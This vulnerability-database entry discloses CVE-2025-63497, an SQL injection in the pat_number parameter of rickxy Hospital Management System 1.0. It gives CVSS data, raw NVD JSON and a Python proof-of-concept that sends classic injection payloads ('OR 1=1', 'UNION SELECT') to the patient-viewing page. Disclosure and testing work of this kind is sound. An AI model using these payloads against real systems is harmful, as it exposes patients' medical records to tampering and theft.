Security Vulnerability Report
中文
CVE-2025-63497 CVSS 7.1 HIGH

CVE-2025-63497

Published: 2025-11-10 17:15:35
Last Modified: 2025-12-11 23:30:49

Description

The patient prescription viewing functionality in his_doc_view_single_patient.php of rickxy Hospital Management System version 1.0 contains an SQL injection vulnerability. The pat_number GET parameter is directly concatenated into SQL queries without proper sanitization, allowing authenticated attackers (doctor role) to execute arbitrary SQL queries.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:rickxy:hospital_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
rickxy Hospital Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-63497 SQL Injection PoC # Target: rickxy Hospital Management System v1.0 # Vulnerability: SQL Injection in pat_number parameter target_url = "http://TARGET_HOST/his_doc_view_single_patient.php" # Login as doctor to obtain session login_url = "http://TARGET_HOST/login.php" credentials = { "username": "doctor_username", "password": "doctor_password" } session = requests.Session() # login_response = session.post(login_url, data=credentials) # SQL Injection payloads # Basic injection to confirm vulnerability payloads = [ "' OR '1'='1", "' UNION SELECT NULL-- -", "' UNION SELECT 1,2,3,4,5-- -", "admin'-- -", "' OR 1=1-- -" ] print(f"[*] Testing CVE-2025-63497 SQL Injection") print(f"[*] Target: {target_url}") for payload in payloads: params = {"pat_number": payload} try: response = session.get(target_url, params=params, timeout=10) # Check for SQL error messages or different responses if "SQL syntax" in response.text or "mysql" in response.text.lower(): print(f"[+] Vulnerable! Payload: {payload}") print(f"[+] Response length: {len(response.text)}") elif response.status_code != 200: print(f"[*] Payload: {payload} - Status: {response.status_code}") except requests.RequestException as e: print(f"[-] Error with payload {payload}: {e}") print("\n[*] Manual verification recommended")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63497", "sourceIdentifier": "[email protected]", "published": "2025-11-10T17:15:35.250", "lastModified": "2025-12-11T23:30:48.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The patient prescription viewing functionality in his_doc_view_single_patient.php of rickxy Hospital Management System version 1.0 contains an SQL injection vulnerability. The pat_number GET parameter is directly concatenated into SQL queries without proper sanitization, allowing authenticated attackers (doctor role) to execute arbitrary SQL queries."}, {"lang": "es", "value": "La funcionalidad de visualización de recetas médicas de pacientes en his_doc_view_single_patient.php del Sistema de Gestión Hospitalaria rickxy versión 1.0 contiene una vulnerabilidad de inyección SQL. El parámetro GET pat_number se concatena directamente en las consultas SQL sin la sanitización adecuada, permitiendo a atacantes autenticados (rol de médico) ejecutar consultas SQL arbitrarias."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rickxy:hospital_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "36C853C3-4662-4088-9EBC-23FF3E9C4AAB"}]}]}], "references": [{"url": "https://github.com/cristibtz/security-research/blob/main/CVE-2025-63497/report.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/cristibtz/security-research/tree/main/rickxy-Hospital-Management-System", "source": "[email protected]", "tags": ["Broken Link"]}]}}